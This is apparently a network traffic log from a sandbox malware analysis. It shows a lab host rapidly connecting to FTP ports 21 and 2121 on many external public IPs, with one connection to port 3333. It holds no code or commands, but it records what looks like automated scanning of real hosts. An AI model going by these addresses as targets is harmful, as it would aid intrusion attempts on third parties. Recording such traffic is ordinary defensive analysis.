Aug 23, 2023 09:15:18.919686079 CEST	21	50674	82.146.118.145	192.168.2.3
Aug 23, 2023 09:15:18.924112082 CEST	21	50652	103.190.81.252	192.168.2.3
Aug 23, 2023 09:15:18.928493023 CEST	50683	21	192.168.2.3	107.145.198.82
Aug 23, 2023 09:15:18.931616068 CEST	50609	21	192.168.2.3	93.132.160.89
Aug 23, 2023 09:15:18.931616068 CEST	50613	2121	192.168.2.3	93.132.160.89
Aug 23, 2023 09:15:18.992877960 CEST	2121	50681	184.180.83.193	192.168.2.3
Aug 23, 2023 09:15:18.994127035 CEST	50608	2121	192.168.2.3	61.89.145.127
Aug 23, 2023 09:15:18.994157076 CEST	50618	2121	192.168.2.3	96.241.237.233
Aug 23, 2023 09:15:18.994157076 CEST	50616	2121	192.168.2.3	73.131.67.222
Aug 23, 2023 09:15:18.994189978 CEST	50615	21	192.168.2.3	73.131.67.222
Aug 23, 2023 09:15:18.994198084 CEST	50617	21	192.168.2.3	96.241.237.233
Aug 23, 2023 09:15:19.024399996 CEST	2121	50653	103.190.81.252	192.168.2.3
Aug 23, 2023 09:15:19.026216030 CEST	50684	2121	192.168.2.3	107.145.198.82
Aug 23, 2023 09:15:19.134766102 CEST	50679	21	192.168.2.3	184.180.83.193
Aug 23, 2023 09:15:19.198688984 CEST	50620	21	192.168.2.3	75.194.70.142
Aug 23, 2023 09:15:19.198702097 CEST	50676	2121	192.168.2.3	82.146.118.145
Aug 23, 2023 09:15:19.229448080 CEST	2121	50676	82.146.118.145	192.168.2.3
Aug 23, 2023 09:15:19.263086081 CEST	21	50679	184.180.83.193	192.168.2.3
Aug 23, 2023 09:15:19.312890053 CEST	50685	21	192.168.2.3	62.211.107.29
Aug 23, 2023 09:15:19.313011885 CEST	50686	2121	192.168.2.3	62.211.107.29
Aug 23, 2023 09:15:19.313222885 CEST	50687	21	192.168.2.3	153.199.240.77
Aug 23, 2023 09:15:19.313347101 CEST	50688	2121	192.168.2.3	153.199.240.77
Aug 23, 2023 09:15:19.313350916 CEST	50690	2121	192.168.2.3	81.246.213.249
Aug 23, 2023 09:15:19.313482046 CEST	50689	21	192.168.2.3	81.246.213.249
Aug 23, 2023 09:15:19.313663006 CEST	50692	2121	192.168.2.3	88.13.102.52
Aug 23, 2023 09:15:19.313666105 CEST	50693	21	192.168.2.3	45.10.60.200
Aug 23, 2023 09:15:19.313679934 CEST	50691	21	192.168.2.3	88.13.102.52
Aug 23, 2023 09:15:19.337949038 CEST	50622	2121	192.168.2.3	75.194.70.142
Aug 23, 2023 09:15:19.384820938 CEST	50627	21	192.168.2.3	84.123.227.218
Aug 23, 2023 09:15:19.384823084 CEST	50624	2121	192.168.2.3	71.115.0.186
Aug 23, 2023 09:15:19.384841919 CEST	50677	21	192.168.2.3	1.170.70.224
Aug 23, 2023 09:15:19.384849072 CEST	50678	2121	192.168.2.3	1.170.70.224
Aug 23, 2023 09:15:19.384865046 CEST	50623	21	192.168.2.3	71.115.0.186
Aug 23, 2023 09:15:19.384917974 CEST	50626	2121	192.168.2.3	165.225.26.77
Aug 23, 2023 09:15:19.384951115 CEST	50666	21	192.168.2.3	170.130.220.91
Aug 23, 2023 09:15:19.401357889 CEST	50695	2121	192.168.2.3	45.10.60.200
Aug 23, 2023 09:15:19.436158895 CEST	50696	21	192.168.2.3	121.142.177.244
Aug 23, 2023 09:15:19.436194897 CEST	50697	2121	192.168.2.3	121.142.177.244
Aug 23, 2023 09:15:19.439933062 CEST	50698	21	192.168.2.3	2.135.117.133
Aug 23, 2023 09:15:19.486053944 CEST	50630	2121	192.168.2.3	112.170.228.19
Aug 23, 2023 09:15:19.486057043 CEST	50629	21	192.168.2.3	112.170.228.19
Aug 23, 2023 09:15:19.486080885 CEST	50632	2121	192.168.2.3	70.66.188.63
Aug 23, 2023 09:15:19.486083031 CEST	50635	21	192.168.2.3	20.8.110.22
Aug 23, 2023 09:15:19.486099005 CEST	50631	21	192.168.2.3	70.66.188.63
Aug 23, 2023 09:15:19.486099005 CEST	50628	2121	192.168.2.3	84.123.227.218
Aug 23, 2023 09:15:19.494174957 CEST	50633	21	192.168.2.3	80.237.101.83
Aug 23, 2023 09:15:19.494194031 CEST	50681	2121	192.168.2.3	184.180.83.193
Aug 23, 2023 09:15:19.494194984 CEST	50674	21	192.168.2.3	82.146.118.145
Aug 23, 2023 09:15:19.494194984 CEST	50634	2121	192.168.2.3	80.237.101.83
Aug 23, 2023 09:15:19.523534060 CEST	21	50674	82.146.118.145	192.168.2.3
Aug 23, 2023 09:15:19.526789904 CEST	50699	2121	192.168.2.3	2.135.117.133
Aug 23, 2023 09:15:19.552117109 CEST	21	50666	170.130.220.91	192.168.2.3
Aug 23, 2023 09:15:19.553072929 CEST	50700	21	192.168.2.3	2.154.27.115
Aug 23, 2023 09:15:19.590445042 CEST	50701	2121	192.168.2.3	2.154.27.115
Aug 23, 2023 09:15:19.593380928 CEST	50702	21	192.168.2.3	100.6.182.158
Aug 23, 2023 09:15:19.648329973 CEST	2121	50699	2.135.117.133	192.168.2.3
Aug 23, 2023 09:15:19.658699036 CEST	21	50677	1.170.70.224	192.168.2.3
Aug 23, 2023 09:15:19.658715963 CEST	2121	50678	1.170.70.224	192.168.2.3
Aug 23, 2023 09:15:19.664012909 CEST	2121	50681	184.180.83.193	192.168.2.3
Aug 23, 2023 09:15:19.693217993 CEST	2121	50697	121.142.177.244	192.168.2.3
Aug 23, 2023 09:15:19.693234921 CEST	21	50696	121.142.177.244	192.168.2.3
Aug 23, 2023 09:15:19.792825937 CEST	50704	2121	192.168.2.3	100.6.182.158
Aug 23, 2023 09:15:19.822367907 CEST	50679	21	192.168.2.3	184.180.83.193
Aug 23, 2023 09:15:19.824426889 CEST	50639	21	192.168.2.3	206.75.194.226
Aug 23, 2023 09:15:19.884887934 CEST	50637	2121	192.168.2.3	20.122.152.193
Aug 23, 2023 09:15:19.884902000 CEST	50636	21	192.168.2.3	20.122.152.193
Aug 23, 2023 09:15:19.884906054 CEST	50638	2121	192.168.2.3	70.93.227.49
Aug 23, 2023 09:15:19.884907007 CEST	50640	2121	192.168.2.3	20.8.110.22
Aug 23, 2023 09:15:19.885042906 CEST	50676	2121	192.168.2.3	82.146.118.145
Aug 23, 2023 09:15:19.885092020 CEST	50641	21	192.168.2.3	70.93.227.49
Aug 23, 2023 09:15:19.915157080 CEST	2121	50676	82.146.118.145	192.168.2.3
Aug 23, 2023 09:15:19.926902056 CEST	50705	21	192.168.2.3	223.187.78.127
Aug 23, 2023 09:15:19.927526951 CEST	50706	2121	192.168.2.3	223.187.78.127
Aug 23, 2023 09:15:19.931673050 CEST	50642	2121	192.168.2.3	206.75.194.226
Aug 23, 2023 09:15:20.100682974 CEST	50643	21	192.168.2.3	145.18.78.61
Aug 23, 2023 09:15:20.100707054 CEST	50649	2121	192.168.2.3	201.127.57.17
Aug 23, 2023 09:15:20.100749016 CEST	50645	21	192.168.2.3	119.68.126.178
Aug 23, 2023 09:15:20.162062883 CEST	21	50679	184.180.83.193	192.168.2.3
Aug 23, 2023 09:15:20.163383961 CEST	50708	21	192.168.2.3	176.26.98.161
Aug 23, 2023 09:15:20.183078051 CEST	50709	2121	192.168.2.3	176.26.98.161
Aug 23, 2023 09:15:20.197560072 CEST	50647	21	192.168.2.3	201.127.57.17
Aug 23, 2023 09:15:20.197586060 CEST	50650	21	192.168.2.3	76.103.239.47
Aug 23, 2023 09:15:20.197588921 CEST	50681	2121	192.168.2.3	184.180.83.193
Aug 23, 2023 09:15:20.197597027 CEST	50696	21	192.168.2.3	121.142.177.244
Aug 23, 2023 09:15:20.197626114 CEST	50699	2121	192.168.2.3	2.135.117.133
Aug 23, 2023 09:15:20.197626114 CEST	50644	2121	192.168.2.3	145.18.78.61
Aug 23, 2023 09:15:20.197626114 CEST	50677	21	192.168.2.3	1.170.70.224
Aug 23, 2023 09:15:20.197639942 CEST	50697	2121	192.168.2.3	121.142.177.244
Aug 23, 2023 09:15:20.197639942 CEST	50651	2121	192.168.2.3	76.103.239.47
Aug 23, 2023 09:15:20.197650909 CEST	50678	2121	192.168.2.3	1.170.70.224
Aug 23, 2023 09:15:20.317692041 CEST	2121	50699	2.135.117.133	192.168.2.3
Aug 23, 2023 09:15:20.330204010 CEST	2121	50681	184.180.83.193	192.168.2.3
Aug 23, 2023 09:15:20.331063032 CEST	50710	21	192.168.2.3	36.73.135.103
Aug 23, 2023 09:15:20.455579996 CEST	21	50696	121.142.177.244	192.168.2.3
Aug 23, 2023 09:15:20.457845926 CEST	2121	50697	121.142.177.244	192.168.2.3
Aug 23, 2023 09:15:20.470361948 CEST	21	50677	1.170.70.224	192.168.2.3
Aug 23, 2023 09:15:20.470413923 CEST	2121	50678	1.170.70.224	192.168.2.3
Aug 23, 2023 09:15:20.471995115 CEST	50712	21	192.168.2.3	45.22.89.209
Aug 23, 2023 09:15:20.472059965 CEST	50713	2121	192.168.2.3	36.73.135.103
Aug 23, 2023 09:15:20.556818962 CEST	50655	21	192.168.2.3	46.217.47.247
Aug 23, 2023 09:15:20.588104963 CEST	50656	2121	192.168.2.3	46.217.47.247
Aug 23, 2023 09:15:20.838016987 CEST	50664	21	192.168.2.3	189.75.45.107
Aug 23, 2023 09:15:20.868511915 CEST	50665	2121	192.168.2.3	189.75.45.107
Aug 23, 2023 09:15:20.884896040 CEST	50659	2121	192.168.2.3	209.6.11.130
Aug 23, 2023 09:15:20.884902000 CEST	50660	21	192.168.2.3	69.243.120.88
Aug 23, 2023 09:15:20.884917974 CEST	50658	21	192.168.2.3	209.6.11.130
Aug 23, 2023 09:15:20.884919882 CEST	50662	21	192.168.2.3	131.148.88.66
Aug 23, 2023 09:15:20.884933949 CEST	50699	2121	192.168.2.3	2.135.117.133
Aug 23, 2023 09:15:20.884933949 CEST	50661	2121	192.168.2.3	69.243.120.88
Aug 23, 2023 09:15:20.884934902 CEST	50663	2121	192.168.2.3	131.148.88.66
Aug 23, 2023 09:15:20.887223959 CEST	50715	2121	192.168.2.3	45.22.89.209
Aug 23, 2023 09:15:20.951401949 CEST	50716	21	192.168.2.3	34.72.214.220
Aug 23, 2023 09:15:20.951405048 CEST	50717	21	192.168.2.3	82.34.176.118
Aug 23, 2023 09:15:20.951492071 CEST	50718	2121	192.168.2.3	34.72.214.220
Aug 23, 2023 09:15:20.963701010 CEST	50719	2121	192.168.2.3	82.34.176.118
Aug 23, 2023 09:15:20.979603052 CEST	50720	21	192.168.2.3	109.128.75.98
Aug 23, 2023 09:15:20.979696989 CEST	50721	2121	192.168.2.3	109.128.75.98
Aug 23, 2023 09:15:20.994291067 CEST	50696	21	192.168.2.3	121.142.177.244
Aug 23, 2023 09:15:20.994293928 CEST	50697	2121	192.168.2.3	121.142.177.244
Aug 23, 2023 09:15:21.004549980 CEST	2121	50699	2.135.117.133	192.168.2.3
Aug 23, 2023 09:15:21.015652895 CEST	50723	2121	192.168.2.3	98.4.70.250
Aug 23, 2023 09:15:21.015654087 CEST	50722	21	192.168.2.3	98.4.70.250
Aug 23, 2023 09:15:21.083206892 CEST	21	50716	34.72.214.220	192.168.2.3
Aug 23, 2023 09:15:21.083262920 CEST	2121	50718	34.72.214.220	192.168.2.3
Aug 23, 2023 09:15:21.088046074 CEST	50669	21	192.168.2.3	93.235.57.188
Aug 23, 2023 09:15:21.107186079 CEST	50724	21	192.168.2.3	72.128.60.161
Aug 23, 2023 09:15:21.197421074 CEST	50668	2121	192.168.2.3	170.130.220.91
Aug 23, 2023 09:15:21.197421074 CEST	50672	2121	192.168.2.3	174.65.239.165
Aug 23, 2023 09:15:21.197489023 CEST	50670	2121	192.168.2.3	93.235.57.188
Aug 23, 2023 09:15:21.197637081 CEST	50671	21	192.168.2.3	174.65.239.165
Aug 23, 2023 09:15:21.252270937 CEST	2121	50697	121.142.177.244	192.168.2.3
Aug 23, 2023 09:15:21.252315044 CEST	21	50696	121.142.177.244	192.168.2.3
Aug 23, 2023 09:15:21.275228977 CEST	50726	21	192.168.2.3	165.225.26.77
Aug 23, 2023 09:15:21.275229931 CEST	50725	2121	192.168.2.3	72.128.60.161
Aug 23, 2023 09:15:21.291364908 CEST	21	50726	165.225.26.77	192.168.2.3
Aug 23, 2023 09:15:21.291601896 CEST	50726	21	192.168.2.3	165.225.26.77
Aug 23, 2023 09:15:21.292431116 CEST	50727	21	192.168.2.3	167.56.186.97
Aug 23, 2023 09:15:21.294465065 CEST	50728	2121	192.168.2.3	167.56.186.97
Aug 23, 2023 09:15:21.294769049 CEST	50729	21	192.168.2.3	121.183.34.201
Aug 23, 2023 09:15:21.326119900 CEST	50730	2121	192.168.2.3	121.183.34.201
Aug 23, 2023 09:15:21.338788986 CEST	50731	21	192.168.2.3	91.218.16.246
Aug 23, 2023 09:15:21.354146957 CEST	50675	2121	192.168.2.3	81.244.74.99
Aug 23, 2023 09:15:21.386123896 CEST	50673	21	192.168.2.3	81.244.74.99
Aug 23, 2023 09:15:21.398427963 CEST	21	50726	165.225.26.77	192.168.2.3
Aug 23, 2023 09:15:21.398466110 CEST	21	50726	165.225.26.77	192.168.2.3
Aug 23, 2023 09:15:21.398571968 CEST	50726	21	192.168.2.3	165.225.26.77
Aug 23, 2023 09:15:21.399369001 CEST	50726	21	192.168.2.3	165.225.26.77
Aug 23, 2023 09:15:21.399497986 CEST	50732	2121	192.168.2.3	91.218.16.246
Aug 23, 2023 09:15:21.401577950 CEST	50733	21	192.168.2.3	31.150.66.62
Aug 23, 2023 09:15:21.403086901 CEST	50734	2121	192.168.2.3	31.150.66.62
Aug 23, 2023 09:15:21.415312052 CEST	21	50726	165.225.26.77	192.168.2.3
Aug 23, 2023 09:15:21.419646978 CEST	50736	2121	192.168.2.3	151.84.30.252
Aug 23, 2023 09:15:21.419650078 CEST	50735	21	192.168.2.3	151.84.30.252
Aug 23, 2023 09:15:21.419713974 CEST	50737	21	192.168.2.3	187.40.87.104
Aug 23, 2023 09:15:21.419940948 CEST	50738	2121	192.168.2.3	187.40.87.104
Aug 23, 2023 09:15:21.432620049 CEST	50739	21	192.168.2.3	46.6.2.70
Aug 23, 2023 09:15:21.444947958 CEST	21	50731	91.218.16.246	192.168.2.3
Aug 23, 2023 09:15:21.465173006 CEST	2121	50736	151.84.30.252	192.168.2.3
Aug 23, 2023 09:15:21.465370893 CEST	21	50735	151.84.30.252	192.168.2.3
Aug 23, 2023 09:15:21.481477022 CEST	50740	2121	192.168.2.3	46.6.2.70
Aug 23, 2023 09:15:21.485112906 CEST	21	50739	46.6.2.70	192.168.2.3
Aug 23, 2023 09:15:21.490420103 CEST	2121	50732	91.218.16.246	192.168.2.3
Aug 23, 2023 09:15:21.535296917 CEST	2121	50740	46.6.2.70	192.168.2.3
Aug 23, 2023 09:15:21.580498934 CEST	2121	50730	121.183.34.201	192.168.2.3
Aug 23, 2023 09:15:21.590174913 CEST	50716	21	192.168.2.3	34.72.214.220
Aug 23, 2023 09:15:21.698033094 CEST	50718	2121	192.168.2.3	34.72.214.220
Aug 23, 2023 09:15:21.721632004 CEST	21	50716	34.72.214.220	192.168.2.3
Aug 23, 2023 09:15:21.823189974 CEST	50741	21	192.168.2.3	194.124.42.187
Aug 23, 2023 09:15:21.824599981 CEST	50742	2121	192.168.2.3	194.124.42.187
Aug 23, 2023 09:15:21.824657917 CEST	50743	21	192.168.2.3	18.67.165.72
Aug 23, 2023 09:15:21.825022936 CEST	50744	2121	192.168.2.3	18.67.165.72
Aug 23, 2023 09:15:21.825109959 CEST	50745	21	192.168.2.3	99.40.27.97
Aug 23, 2023 09:15:21.825335026 CEST	50746	2121	192.168.2.3	99.40.27.97
Aug 23, 2023 09:15:21.829360962 CEST	2121	50718	34.72.214.220	192.168.2.3
Aug 23, 2023 09:15:21.838810921 CEST	50747	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:21.859544992 CEST	21	50747	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:21.859733105 CEST	50747	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:21.931934118 CEST	50683	21	192.168.2.3	107.145.198.82
Aug 23, 2023 09:15:21.978832006 CEST	50736	2121	192.168.2.3	151.84.30.252
Aug 23, 2023 09:15:21.978871107 CEST	50735	21	192.168.2.3	151.84.30.252
Aug 23, 2023 09:15:21.994395018 CEST	50731	21	192.168.2.3	91.218.16.246
Aug 23, 2023 09:15:21.994416952 CEST	50739	21	192.168.2.3	46.6.2.70
Aug 23, 2023 09:15:21.994471073 CEST	50732	2121	192.168.2.3	91.218.16.246
Aug 23, 2023 09:15:22.024629116 CEST	21	50735	151.84.30.252	192.168.2.3
Aug 23, 2023 09:15:22.024724960 CEST	2121	50736	151.84.30.252	192.168.2.3
Aug 23, 2023 09:15:22.046140909 CEST	21	50739	46.6.2.70	192.168.2.3
Aug 23, 2023 09:15:22.053915024 CEST	21	50747	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:22.054198027 CEST	50747	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:22.054896116 CEST	50748	2121	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:22.073803902 CEST	50749	21	192.168.2.3	67.176.71.239
Aug 23, 2023 09:15:22.073837996 CEST	50750	2121	192.168.2.3	67.176.71.239
Aug 23, 2023 09:15:22.073991060 CEST	50751	21	192.168.2.3	84.138.118.38
Aug 23, 2023 09:15:22.076668978 CEST	21	50731	91.218.16.246	192.168.2.3
Aug 23, 2023 09:15:22.085427046 CEST	2121	50732	91.218.16.246	192.168.2.3
Aug 23, 2023 09:15:22.088118076 CEST	50730	2121	192.168.2.3	121.183.34.201
Aug 23, 2023 09:15:22.088886976 CEST	50752	2121	192.168.2.3	84.138.118.38
Aug 23, 2023 09:15:22.104526043 CEST	50753	21	192.168.2.3	82.155.62.207
Aug 23, 2023 09:15:22.143261909 CEST	2121	50748	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:22.144156933 CEST	21	50747	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:22.144318104 CEST	50747	21	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:22.183804035 CEST	50754	2121	192.168.2.3	82.155.62.207
Aug 23, 2023 09:15:22.183862925 CEST	50755	21	192.168.2.3	172.223.240.95
Aug 23, 2023 09:15:22.197824001 CEST	50684	2121	192.168.2.3	107.145.198.82
Aug 23, 2023 09:15:22.197915077 CEST	50740	2121	192.168.2.3	46.6.2.70
Aug 23, 2023 09:15:22.228773117 CEST	50716	21	192.168.2.3	34.72.214.220
Aug 23, 2023 09:15:22.251532078 CEST	2121	50740	46.6.2.70	192.168.2.3
Aug 23, 2023 09:15:22.322501898 CEST	50691	21	192.168.2.3	88.13.102.52
Aug 23, 2023 09:15:22.341128111 CEST	2121	50730	121.183.34.201	192.168.2.3
Aug 23, 2023 09:15:22.361691952 CEST	21	50716	34.72.214.220	192.168.2.3
Aug 23, 2023 09:15:22.362698078 CEST	50756	2121	192.168.2.3	172.223.240.95
Aug 23, 2023 09:15:22.385026932 CEST	50685	21	192.168.2.3	62.211.107.29
Aug 23, 2023 09:15:22.385032892 CEST	50686	2121	192.168.2.3	62.211.107.29
Aug 23, 2023 09:15:22.385054111 CEST	50718	2121	192.168.2.3	34.72.214.220
Aug 23, 2023 09:15:22.385056019 CEST	50692	2121	192.168.2.3	88.13.102.52
Aug 23, 2023 09:15:22.385066032 CEST	50687	21	192.168.2.3	153.199.240.77
Aug 23, 2023 09:15:22.385067940 CEST	50690	2121	192.168.2.3	81.246.213.249
Aug 23, 2023 09:15:22.385080099 CEST	50688	2121	192.168.2.3	153.199.240.77
Aug 23, 2023 09:15:22.385168076 CEST	50693	21	192.168.2.3	45.10.60.200
Aug 23, 2023 09:15:22.385174036 CEST	50689	21	192.168.2.3	81.246.213.249
Aug 23, 2023 09:15:22.416400909 CEST	50695	2121	192.168.2.3	45.10.60.200
Aug 23, 2023 09:15:22.494426966 CEST	50698	21	192.168.2.3	2.135.117.133
Aug 23, 2023 09:15:22.516251087 CEST	2121	50718	34.72.214.220	192.168.2.3
Aug 23, 2023 09:15:22.517505884 CEST	50757	21	192.168.2.3	104.21.62.163
Aug 23, 2023 09:15:22.525660038 CEST	50736	2121	192.168.2.3	151.84.30.252
Aug 23, 2023 09:15:22.525672913 CEST	50735	21	192.168.2.3	151.84.30.252
Aug 23, 2023 09:15:22.556457996 CEST	50739	21	192.168.2.3	46.6.2.70
Aug 23, 2023 09:15:22.556529999 CEST	50700	21	192.168.2.3	2.154.27.115
Aug 23, 2023 09:15:22.557862997 CEST	50758	2121	192.168.2.3	104.21.62.163
Aug 23, 2023 09:15:22.570995092 CEST	2121	50736	151.84.30.252	192.168.2.3
Aug 23, 2023 09:15:22.571475983 CEST	21	50735	151.84.30.252	192.168.2.3
Aug 23, 2023 09:15:22.572082996 CEST	50759	21	192.168.2.3	83.86.111.86
Aug 23, 2023 09:15:22.572443008 CEST	50760	2121	192.168.2.3	83.86.111.86
Aug 23, 2023 09:15:22.588136911 CEST	50732	2121	192.168.2.3	91.218.16.246
Aug 23, 2023 09:15:22.588154078 CEST	50701	2121	192.168.2.3	2.154.27.115
Aug 23, 2023 09:15:22.604836941 CEST	50761	21	192.168.2.3	47.88.170.199
Aug 23, 2023 09:15:22.608197927 CEST	21	50739	46.6.2.70	192.168.2.3
Aug 23, 2023 09:15:22.609019041 CEST	50762	2121	192.168.2.3	47.88.170.199
Aug 23, 2023 09:15:22.650712013 CEST	50748	2121	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:22.670635939 CEST	2121	50748	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:22.672549009 CEST	50763	3333	192.168.2.3	141.95.206.77
Aug 23, 2023 09:15:22.678983927 CEST	2121	50732	91.218.16.246	192.168.2.3
Aug 23, 2023 09:15:22.680207968 CEST	50764	21	192.168.2.3	201.3.156.221
Aug 23, 2023 09:15:22.697535992 CEST	50731	21	192.168.2.3	91.218.16.246
Aug 23, 2023 09:15:22.697613955 CEST	50702	21	192.168.2.3	100.6.182.158
Aug 23, 2023 09:15:22.779746056 CEST	21	50731	91.218.16.246	192.168.2.3
Aug 23, 2023 09:15:22.780831099 CEST	50765	2121	192.168.2.3	201.3.156.221
Aug 23, 2023 09:15:22.803698063 CEST	50704	2121	192.168.2.3	100.6.182.158
Aug 23, 2023 09:15:22.824218988 CEST	50766	21	192.168.2.3	24.166.80.131
Aug 23, 2023 09:15:22.825915098 CEST	50767	2121	192.168.2.3	24.166.80.131
Aug 23, 2023 09:15:22.826776981 CEST	50768	21	192.168.2.3	165.154.132.142
Aug 23, 2023 09:15:22.827691078 CEST	50769	2121	192.168.2.3	165.154.132.142
Aug 23, 2023 09:15:22.839951038 CEST	50770	21	192.168.2.3	200.127.4.115
Aug 23, 2023 09:15:22.840557098 CEST	50771	21	192.168.2.3	35.143.239.108
Aug 23, 2023 09:15:22.840790033 CEST	50772	2121	192.168.2.3	200.127.4.115
Aug 23, 2023 09:15:22.853827953 CEST	50730	2121	192.168.2.3	121.183.34.201
Aug 23, 2023 09:15:22.873704910 CEST	50773	2121	192.168.2.3	35.143.239.108
Aug 23, 2023 09:15:22.885082960 CEST	50740	2121	192.168.2.3	46.6.2.70
Aug 23, 2023 09:15:22.931969881 CEST	50705	21	192.168.2.3	223.187.78.127
Aug 23, 2023 09:15:22.931983948 CEST	50706	2121	192.168.2.3	223.187.78.127
Aug 23, 2023 09:15:22.939615011 CEST	2121	50740	46.6.2.70	192.168.2.3
Aug 23, 2023 09:15:22.941467047 CEST	50774	21	192.168.2.3	183.119.92.182
Aug 23, 2023 09:15:23.074307919 CEST	50775	2121	192.168.2.3	183.119.92.182
Aug 23, 2023 09:15:23.103698969 CEST	21	50770	200.127.4.115	192.168.2.3
Aug 23, 2023 09:15:23.104599953 CEST	50776	21	192.168.2.3	193.153.175.16
Aug 23, 2023 09:15:23.108808041 CEST	2121	50730	121.183.34.201	192.168.2.3
Aug 23, 2023 09:15:23.109533072 CEST	50777	2121	192.168.2.3	193.153.175.16
Aug 23, 2023 09:15:23.116456032 CEST	2121	50772	200.127.4.115	192.168.2.3
Aug 23, 2023 09:15:23.173664093 CEST	50748	2121	192.168.2.3	173.249.31.55
Aug 23, 2023 09:15:23.197633028 CEST	50708	21	192.168.2.3	176.26.98.161
Aug 23, 2023 09:15:23.197721004 CEST	50709	2121	192.168.2.3	176.26.98.161
Aug 23, 2023 09:15:23.199417114 CEST	50778	21	192.168.2.3	183.89.130.177
Aug 23, 2023 09:15:23.199419975 CEST	50779	21	192.168.2.3	119.223.26.147
Aug 23, 2023 09:15:23.199538946 CEST	50780	2121	192.168.2.3	183.89.130.177
Aug 23, 2023 09:15:23.245811939 CEST	2121	50748	173.249.31.55	192.168.2.3
Aug 23, 2023 09:15:23.247114897 CEST	50781	2121	192.168.2.3	119.223.26.147
Aug 23, 2023 09:15:23.276356936 CEST	50782	21	192.168.2.3	211.228.98.28
Aug 23, 2023 09:15:23.355600119 CEST	50783	2121	192.168.2.3	211.228.98.28
Aug 23, 2023 09:15:23.386423111 CEST	50710	21	192.168.2.3	36.73.135.103
Aug 23, 2023 09:15:23.414532900 CEST	21	50778	183.89.130.177	192.168.2.3
Aug 23, 2023 09:15:23.464926958 CEST	21	50779	119.223.26.147	192.168.2.3
Aug 23, 2023 09:15:23.494595051 CEST	50713	2121	192.168.2.3	36.73.135.103
Aug 23, 2023 09:15:23.494736910 CEST	50712	21	192.168.2.3	45.22.89.209
Aug 23, 2023 09:15:23.511646032 CEST	2121	50781	119.223.26.147	192.168.2.3
Aug 23, 2023 09:15:23.606506109 CEST	50770	21	192.168.2.3	200.127.4.115
Aug 23, 2023 09:15:23.619580030 CEST	50772	2121	192.168.2.3	200.127.4.115
Aug 23, 2023 09:15:23.876956940 CEST	21	50770	200.127.4.115	192.168.2.3
Aug 23, 2023 09:15:23.889638901 CEST	2121	50772	200.127.4.115	192.168.2.3
Aug 23, 2023 09:15:23.932657003 CEST	50784	21	192.168.2.3	99.253.234.96
Aug 23, 2023 09:15:23.963285923 CEST	50719	2121	192.168.2.3	82.34.176.118
Aug 23, 2023 09:15:23.994560957 CEST	50717	21	192.168.2.3	82.34.176.118
Aug 23, 2023 09:15:23.994574070 CEST	50715	2121	192.168.2.3	45.22.89.209
Aug 23, 2023 09:15:23.994589090 CEST	50778	21	192.168.2.3	183.89.130.177
Aug 23, 2023 09:15:23.994609118 CEST	50779	21	192.168.2.3	119.223.26.147
Aug 23, 2023 09:15:24.043574095 CEST	50785	2121	192.168.2.3	99.253.234.96
Aug 23, 2023 09:15:24.062969923 CEST	50721	2121	192.168.2.3	109.128.75.98
Aug 23, 2023 09:15:24.062989950 CEST	50722	21	192.168.2.3	98.4.70.250
Aug 23, 2023 09:15:24.063011885 CEST	50720	21	192.168.2.3	109.128.75.98
Aug 23, 2023 09:15:24.063050985 CEST	50723	2121	192.168.2.3	98.4.70.250
Aug 23, 2023 09:15:24.166481018 CEST	50724	21	192.168.2.3	72.128.60.161
Aug 23, 2023 09:15:24.197683096 CEST	50781	2121	192.168.2.3	119.223.26.147
Aug 23, 2023 09:15:24.209266901 CEST	21	50778	183.89.130.177	192.168.2.3
Aug 23, 2023 09:15:24.261632919 CEST	21	50779	119.223.26.147	192.168.2.3
Aug 23, 2023 09:15:24.275865078 CEST	50725	2121	192.168.2.3	72.128.60.161
Aug 23, 2023 09:15:24.348521948 CEST	50786	21	192.168.2.3	73.10.149.242
Aug 23, 2023 09:15:24.348881960 CEST	50787	2121	192.168.2.3	73.10.149.242
Aug 23, 2023 09:15:24.349047899 CEST	50788	21	192.168.2.3	73.252.78.167
Aug 23, 2023 09:15:24.349651098 CEST	50789	2121	192.168.2.3	73.252.78.167
Aug 23, 2023 09:15:24.350012064 CEST	50790	21	192.168.2.3	73.138.100.145
Aug 23, 2023 09:15:24.350254059 CEST	50791	2121	192.168.2.3	73.138.100.145
Aug 23, 2023 09:15:24.350701094 CEST	50792	21	192.168.2.3	95.205.8.0
Aug 23, 2023 09:15:24.351085901 CEST	50793	2121	192.168.2.3	95.205.8.0
Aug 23, 2023 09:15:24.351509094 CEST	50794	21	192.168.2.3	94.194.157.120
Aug 23, 2023 09:15:24.399794102 CEST	50728	2121	192.168.2.3	167.56.186.97
Aug 23, 2023 09:15:24.399810076 CEST	50727	21	192.168.2.3	167.56.186.97
Aug 23, 2023 09:15:24.399816036 CEST	50770	21	192.168.2.3	200.127.4.115
Aug 23, 2023 09:15:24.399832964 CEST	50729	21	192.168.2.3	121.183.34.201
Aug 23, 2023 09:15:24.399836063 CEST	50772	2121	192.168.2.3	200.127.4.115
Aug 23, 2023 09:15:24.418400049 CEST	50795	2121	192.168.2.3	94.194.157.120
Aug 23, 2023 09:15:24.451688051 CEST	50796	21	192.168.2.3	92.47.131.45
Aug 23, 2023 09:15:24.465287924 CEST	2121	50781	119.223.26.147	192.168.2.3
Aug 23, 2023 09:15:24.494599104 CEST	50733	21	192.168.2.3	31.150.66.62
Aug 23, 2023 09:15:24.494600058 CEST	50734	2121	192.168.2.3	31.150.66.62
Aug 23, 2023 09:15:24.552056074 CEST	50737	21	192.168.2.3	187.40.87.104
Aug 23, 2023 09:15:24.552154064 CEST	50738	2121	192.168.2.3	187.40.87.104
Aug 23, 2023 09:15:24.555145025 CEST	2121	50793	95.205.8.0	192.168.2.3
Aug 23, 2023 09:15:24.555241108 CEST	21	50792	95.205.8.0	192.168.2.3
Aug 23, 2023 09:15:24.557914972 CEST	50797	2121	192.168.2.3	92.47.131.45
Aug 23, 2023 09:15:24.605570078 CEST	50798	21	192.168.2.3	138.0.238.78
Aug 23, 2023 09:15:24.605571985 CEST	50799	2121	192.168.2.3	138.0.238.78
